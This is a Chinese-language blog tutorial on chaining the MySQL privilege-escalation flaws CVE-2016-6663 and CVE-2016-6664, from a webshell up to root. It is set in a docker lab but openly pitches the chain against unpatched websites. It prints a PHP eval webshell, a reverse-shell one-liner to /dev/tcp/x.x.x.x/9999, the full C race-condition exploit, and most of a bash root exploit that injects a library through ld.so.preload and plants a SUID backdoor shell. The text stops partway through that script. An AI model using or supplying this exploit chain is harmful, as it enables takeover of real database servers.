[技术]Mysql漏洞提权(CVE-2016-6663、CVE-2016-6664组合实践)

作者: hackliu 分类: 技术文章 发布时间: 2019-04-09 22:49

0x00前言

Mysql之前爆出了CVE-2016-6662、CVE-2016-6663、CVE-2016-6664提权漏洞,影响了Mysql小于5.5.51或小于5.6.32或小于5.7.14及衍生版本。然而好多网站都没有升级,利用场景还是很多的,于是实践一下。

0x01环境搭建

1.采用tutum/lamp的docker作为测试系统环境

# docker运行及必要环境配置
docker run -d -P tutum/lamp
docker exec -it <container_id> /bin/bash
apt update && apt install -y wget gcc libmysqlclient-dev
# webshell写入
echo "<?php @eval(\$_POST[1]);?>" >  /var/www/html/shell.php
chmod -R 777 /var/www/html

2.数据库配置

# 添加用户test,密码123456,授予权限create,drop,insert,select
mysql
create database testdb;
CREATE USER 'test'@'%' IDENTIFIED BY '123456'; 
grant create,drop,insert,select on testdb.* to 'test'@'%';
flush privileges;

0x02 www-data权限提升为mysql权限

利用CVE-2016-6663
1.菜刀链接webshell,然后上传需要用到的mysql-privesc-race.c文件,内容如下

#include &lt;fcntl.h&gt;
#include &lt;grp.h&gt;
#include &lt;mysql.h&gt;
#include &lt;pwd.h&gt;
#include &lt;stdint.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/inotify.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;time.h&gt;
#include &lt;unistd.h&gt;


#define EXP_PATH&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;/tmp/mysql_privesc_exploit&quot;
#define EXP_DIRN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;mysql_privesc_exploit&quot;
#define MYSQL_TAB_FILE&nbsp;&nbsp;&nbsp;&nbsp;EXP_PATH &quot;/exploit_table.MYD&quot;
#define MYSQL_TEMP_FILE&nbsp;&nbsp; EXP_PATH &quot;/exploit_table.TMD&quot;

#define SUID_SHELL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EXP_PATH &quot;/mysql_suid_shell.MYD&quot;

#define MAX_DELAY 1000&nbsp;&nbsp;&nbsp;&nbsp;// can be used in the race to adjust the timing if necessary

MYSQL *conn;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// DB handles
MYSQL_RES *res;
MYSQL_ROW row;

unsigned long cnt;


void intro() {

printf( 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\033[94m\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;mysql-privesc-race.c (ver. 1.0)\n\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;CVE-2016-6663 / CVE-2016-5616\n\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;For testing purposes only. Do no harm.\n\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&quot;Discovered/Coded by:\n\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&quot;Dawid Golunski \n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&quot;http://legalhackers.com&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\033[0m\n\n&quot;);

}

void usage(char *argv0) {
&nbsp;&nbsp;&nbsp;&nbsp;intro();
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;Usage:\n\n%s user pass db_host database\n\n&quot;, argv0);
}

void mysql_cmd(char *sql_cmd, int silent) {

&nbsp;&nbsp;&nbsp;&nbsp;if (!silent) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;%s \n&quot;, sql_cmd);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;if (mysql_query(conn, sql_cmd)) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, &quot;%s\n&quot;, mysql_error(conn));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;res = mysql_store_result(conn);
&nbsp;&nbsp;&nbsp;&nbsp;if (res&gt;0) mysql_free_result(res);

}


int main(int argc,char **argv)
{

&nbsp;&nbsp;&nbsp;&nbsp;int randomnum = 0;
&nbsp;&nbsp;&nbsp;&nbsp;int io_notified = 0;
&nbsp;&nbsp;&nbsp;&nbsp;int myd_handle;
&nbsp;&nbsp;&nbsp;&nbsp;int wpid;
&nbsp;&nbsp;&nbsp;&nbsp;int is_shell_suid=0;
&nbsp;&nbsp;&nbsp;&nbsp;pid_t pid;
&nbsp;&nbsp;&nbsp;&nbsp;int status;
&nbsp;&nbsp;&nbsp;&nbsp;struct stat st;
&nbsp;&nbsp;&nbsp;&nbsp;/* io notify */
&nbsp;&nbsp;&nbsp;&nbsp;int fd;
&nbsp;&nbsp;&nbsp;&nbsp;int ret;
&nbsp;&nbsp;&nbsp;&nbsp;char buf[4096] __attribute__((aligned(8)));
&nbsp;&nbsp;&nbsp;&nbsp;int num_read;
&nbsp;&nbsp;&nbsp;&nbsp;struct inotify_event *event;
&nbsp;&nbsp;&nbsp;&nbsp;/* credentials */
&nbsp;&nbsp;&nbsp;&nbsp;char *user&nbsp;&nbsp;&nbsp;&nbsp; = argv[1];
&nbsp;&nbsp;&nbsp;&nbsp;char *password = argv[2];
&nbsp;&nbsp;&nbsp;&nbsp;char *db_host&nbsp;&nbsp;= argv[3];
&nbsp;&nbsp;&nbsp;&nbsp;char *database = argv[4];


&nbsp;&nbsp;&nbsp;&nbsp;// Disable buffering of stdout
&nbsp;&nbsp;&nbsp;&nbsp;setvbuf(stdout, NULL, _IONBF, 0);

&nbsp;&nbsp;&nbsp;&nbsp;// Get the params
&nbsp;&nbsp;&nbsp;&nbsp;if (argc!=5) {
&nbsp;&nbsp;&nbsp;&nbsp;usage(argv[0]);
&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;} 
&nbsp;&nbsp;&nbsp;&nbsp;intro();
&nbsp;&nbsp;&nbsp;&nbsp;// Show initial privileges
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n[+] Starting the exploit as: \n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;id&quot;);

&nbsp;&nbsp;&nbsp;&nbsp;// Connect to the database server with provided credentials
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n[+] Connecting to the database `%s` as %s@%s\n&quot;, database, user, db_host);
&nbsp;&nbsp;&nbsp;&nbsp;conn = mysql_init(NULL);
&nbsp;&nbsp;&nbsp;&nbsp;if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, &quot;%s\n&quot;, mysql_error(conn));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;// Prepare tmp dir
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n[+] Creating exploit temp directory %s\n&quot;, &quot;/tmp/&quot; EXP_DIRN);
&nbsp;&nbsp;&nbsp;&nbsp;umask(000);
&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;rm -rf /tmp/&quot; EXP_DIRN &quot; &amp;&amp; mkdir /tmp/&quot; EXP_DIRN);
&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;chmod g+s /tmp/&quot; EXP_DIRN );

&nbsp;&nbsp;&nbsp;&nbsp;// Prepare exploit tables 🙂
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n[+] Creating mysql tables \n\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;mysql_cmd(&quot;DROP TABLE IF EXISTS exploit_table&quot;, 0);
&nbsp;&nbsp;&nbsp;&nbsp;mysql_cmd(&quot;DROP TABLE IF EXISTS mysql_suid_shell&quot;, 0);
&nbsp;&nbsp;&nbsp;&nbsp;mysql_cmd(&quot;CREATE TABLE exploit_table (txt varchar(50)) engine = &#39;MyISAM&#39; data directory &#39;&quot; EXP_PATH &quot;&#39;&quot;, 0);
&nbsp;&nbsp;&nbsp;&nbsp;mysql_cmd(&quot;CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = &#39;MyISAM&#39; data directory &#39;&quot; EXP_PATH &quot;&#39;&quot;, 0);

&nbsp;&nbsp;&nbsp;&nbsp;// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
&nbsp;&nbsp;&nbsp;&nbsp;// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n[+] Copying bash into the mysql_suid_shell table.\n&nbsp;&nbsp;&nbsp;&nbsp;After the exploitation the following file/table will be assigned SUID and executable bits : \n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;cp /bin/bash &quot; SUID_SHELL);
&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;ls -l &quot; SUID_SHELL);

&nbsp;&nbsp;&nbsp;&nbsp;// Use inotify to get the timing right
&nbsp;&nbsp;&nbsp;&nbsp;fd = inotify_init();
&nbsp;&nbsp;&nbsp;&nbsp;if (fd &lt; 0) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;failed to inotify_init\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);


&nbsp;&nbsp;&nbsp;&nbsp;/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */

&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n[+] Entering the race loop... Hang in there...\n&quot;);

&nbsp;&nbsp;&nbsp;&nbsp;while ( is_shell_suid != 1 ) {

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cnt++;
&nbsp;&nbsp;&nbsp;&nbsp;if ( (cnt % 100) == 0 ) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;-&gt;&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //fflush(stdout);&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* Create empty file , remove if already exists */
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unlink(MYSQL_TEMP_FILE);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unlink(MYSQL_TAB_FILE);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mysql_cmd(&quot;DROP TABLE IF EXISTS exploit_table&quot;, 1);
&nbsp;&nbsp;&nbsp;&nbsp;mysql_cmd(&quot;CREATE TABLE exploit_table (txt varchar(50)) engine = &#39;MyISAM&#39; data directory &#39;&quot; EXP_PATH &quot;&#39;&quot;, 1);

&nbsp;&nbsp;&nbsp;&nbsp;/* random num if needed */
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;srand ( time(NULL) );
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;randomnum = ( rand() % MAX_DELAY );

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pid = fork();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (pid &lt; 0) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, &quot;Fork failed :(\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* Child process - executes REPAIR TABLE&nbsp;&nbsp;SQL statement */
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (pid == 0) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;usleep(500);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unlink(MYSQL_TEMP_FILE);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mysql_cmd(&quot;REPAIR TABLE exploit_table EXTENDED&quot;, 1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// child stops here
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(0);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (pid &gt; 0 ) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;io_notified = 0;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while (1) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int processed = 0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret = read(fd, buf, sizeof(buf));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (ret &lt; 0) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while (processed &lt; ret) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event = (struct inotify_event *)(buf + processed);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (event-&gt;mask &amp; IN_CLOSE) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!strcmp(event-&gt;name, &quot;exploit_table.TMD&quot;)) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//usleep(randomnum);

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Set the .MYD permissions to suid+exec before they get copied to the .TMD file 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unlink(MYSQL_TAB_FILE);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(myd_handle);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;chmod(MYSQL_TAB_FILE, 04777);

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unlink(MYSQL_TEMP_FILE);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;symlink(SUID_SHELL, MYSQL_TEMP_FILE);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;io_notified=1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;processed += sizeof(struct inotify_event);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (io_notified) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}


&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;waitpid(pid, &amp;status, 0);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;// Check if SUID bit was set at the end of this attempt
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ( lstat(SUID_SHELL, &amp;st) == 0 ) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (st.st_mode &amp; S_ISUID) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;is_shell_suid = 1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} 

&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n&quot;, cnt);
&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;ls -l &quot; SUID_SHELL);

&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n&nbsp;&nbsp;&nbsp;&nbsp;Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;system(SUID_SHELL &quot; -p -i &quot;);
&nbsp;&nbsp;&nbsp;&nbsp;//system(SUID_SHELL &quot; -p -c &#39;/bin/bash -i -p&#39;&quot;);

&nbsp;&nbsp;&nbsp;&nbsp;/* close MySQL connection and exit */
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n[+] Job done. Exiting\n\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;mysql_close(conn);
&nbsp;&nbsp;&nbsp;&nbsp;return 0;

}

2.反弹shell

/bin/bash -i &gt;&amp; /dev/tcp/x.x.x.x/9999 0&gt;&amp;1

3.反弹shell的监听端,执行如下指令

cd /var/www/html/
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
./mysql-privesc-race test 123456 localhost testdb

如图可以看到已提升为mysql权限

1.png

0x03Mysql权限提升为root权限

利用CVE-2016-6664
ps:目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式
不过tutum/lamp日志方式为syslog,需要如下修改

vim /etc/mysql/conf.d/mysqld_safe_syslog.cnf
删除syslog
重启mysql:mysqld_safe --user=mysql

测试办法grep -r syslog /etc/mysql返回没有任何结果既满足“基于文件的日志”要求
上传mysql-chowned.sh,内容如下

#!/bin/bash -p
# Usage:
# ./mysql-chowned.sh path_to_error.log 
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/mysqlrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
    # Cleanup 
    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $ERRORLOG
    touch $ERRORLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload
    fi
    echo -e "\n[+] Job done. Exiting with code $1 \n"
    exit $1
}

function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
    cleanexit 0
}

#intro 
echo -e "\033[94m \nMySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / CVE-2016-5617\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
    echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
    exit 3
fi

# Priv check

echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id | grep -q mysql 
if [ $? -ne 0 ]; then
    echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
    exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
    echo -e "\n[!] The specified MySQL error log ($ERRORLOG) doesn't exist. Try again.\n"
    exit 3
fi
echo -e "\n[+] Target MySQL log file set to $ERRORLOG"

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        //unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
    echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
    echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
    exit 2
fi

# Symlink the log file to /etc
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
    cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"

# Wait for MySQL to re-open the logs
echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
echo -n "Do you want to kill mysqld process `pidof mysqld` to instantly get root? 🙂 ? [y/n] "
read THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
    echo -e "Got it. Executing 'killall mysqld' now..."
    killall mysqld
fi
while :; do 
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload
        rm -f $ERRORLOG
        break;
    fi
done

# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null

#while :; do 
#    sleep 0.1
#    ps aux | grep mysqld | grep -q 'log-error'
#    if [ $? -eq 0 ]; then
#        break;
#    fi
#done

# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
    echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
    echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
else
    echo -e "\n[!] Failed to get root"
    cleanexit 2
fi


# Execute the rootshell
